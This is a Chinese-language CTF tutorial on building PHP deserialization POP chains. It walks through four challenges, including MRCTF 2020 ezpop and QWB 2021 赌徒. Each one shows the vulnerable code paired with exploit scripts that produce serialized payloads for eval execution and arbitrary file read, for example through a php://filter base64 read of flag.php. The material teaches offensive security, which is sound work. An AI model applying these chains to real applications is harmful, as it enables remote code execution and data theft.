反序列化篇之pop链的构造(下)

pop链的构造(下篇)

上篇文章中我们详细介绍了魔术方法及调用它们的条件,那么这篇文章就来研究在实例中如何调用它们,并且把它们连成一条pop链,首先,我们来看看什么是pop链

简介

pop又称之为面向属性编程(Property-Oriented Programing),常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;只不过ROP是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程;因为反序列化中我们能控制的也就只有对象的属性了,所以k0rz3n大佬说反序列化漏洞又叫对象的属性篡改漏洞,我觉得就很有道理哈哈哈

构造思路

任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个unserialize直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链

例题解析一:

一般来说,出现php反序列化漏洞是因为有写的不安全的魔术方法,因为魔术方法会自动调用,那我们就可以构造恶意的exp来触发它,但有的时候如果出现漏洞的代码不在魔术方法中,而是只在一个普通方法中,那我们怎么利用呢?这时候我们可以寻找魔术方法中是否调用了同名的函数,然后通过相同的函数名将类的属性和魔术方法中的属性联系起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "HelloWorld";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['a']);
?>

比如说上面这个例子,危险函数应该是evil类中的action方法,里面有个eval,但action方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test类中的__destruct()调用了action方法,但在__construct()中可以看出它创建了一个normal类的对象,然后调用的是normal类中的action方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil类的对象,那它自然调用的就是evil类中的action方法了,有了思路下面就来构造:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test {
protected $ClassObj;
}
class evil {
private $data='phpinfo();';
}
$a = new evil();
$b = new test();
$b -> ClassObj = $a;
echo serialize(urlencode($a));
?>

本来构造出来应该是这样,创建一个evil类的对象然后把它赋值给ClassObj属性,但这里这样写不行,因为ClassObj属性是protected属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()来完成这个操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data='phpinfo();';
}
$a = new test();
echo urlencode(serialize($a));
?>

image.png

经检验没有问题,这应该是最简单的pop链了,从头到尾只有一步就完成

例题解析二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}

class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>

思路分析:先找链子的头和尾,头部明显是GET传参,尾部是Uwant类中的getshell,然后往上倒推,Uwant类中的__get()中调用了getshellShow类中的toString调用了__get(),然后Hello类中的__destruct(),而我们GET传参之后会先进入__destruct(),这样子头和尾就连上了,所以说完整的链子就是:

头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾

至于魔术方法具体是怎么调用的这就不讲了,请看上一篇文章,这儿就简单提一下,在Hello类中我们要把$this->str赋值成对象,下面echo出来才能调用Show类中的__toString(),然后再把Show类中的$this->str['str']赋值成对象,来调用Uwant类中的__get()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params='phpinfo();';
}
$a = new Hello();
$b = new Show();
$c = new Uwant();
$a -> str = $b;
$b -> str['str'] = $c;
echo urlencode(serialize($a));

image.png

这样子就出来了,想当初这道题还是我们团队的考核题,那时候我做了半天都没做出来,害,慢慢进步吧哈哈

例题解析三 —— 2020 mrctf ezpop

这道题选自mrctf中的ezpop,可以在buuctf上复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了,如下图(来自LTLT):

image.png

头 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;
$b -> str = $c;
$c -> p = $d;
echo urlencode(serialize($a));

image.png

成功拿下

例题解析四 —— 2021 强网杯 赌徒

这道题选自2021年强网杯,名字为赌徒:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';

public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}

public function _sayhello(){
echo $this->name;
return 'ok';
}

public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}

public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}

class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';

public function __get($name){
$function = $this->a;
return $function();
}

public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}

public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}

if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}

?>

这个代码看起来有点长,不过也不要担心,按照我们上面讲的方法一步一步来就行了,很多代码都没啥用,也就那么一回事儿

分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room类中有个Get_hint()方法,里面有一个file_get_contents,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room类中__invoke()方法调用了Get_hint(),然后Room类的__get()里面有个return $function()可以调用__invoke(),再往前看,Info类中的__toString()中有Room类中不存在的属性,所以可以调用__get(),然后Start类中有个_sayhello()可以调用__toString(),然后在Start类中__wakeup()方法中直接调用了_sayhello(),而我们知道的是,输入字符串之后就会先进入__wakeup(),这样头和尾就连上了

image.png

有了思路我们就直接开始构造,一般找思路我们是从尾到头,而构造则是直接从头到尾

头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}

class Info
{
private $phonenumber=123123;
public $promise='I do';

public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room();
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>

image.png

成功打通,注意要把前面的hi去掉再进行base64编码才能得到flag哈

总结

这里通过四个例子基本上算是把php反序列化中构造pop链讲清楚了吧,这四个例子都不算很难,在实际的挖洞中要审的链子可能比这个长的多,但我相信方法都是差不多的;如果这里还有哪里没看懂的,可以去看上一篇文章讲魔术方法的,那里讲了各种魔术方法的调用情况,把所有魔术方法都搞清楚了,再加上细心审代码,构造pop链也就没啥问题了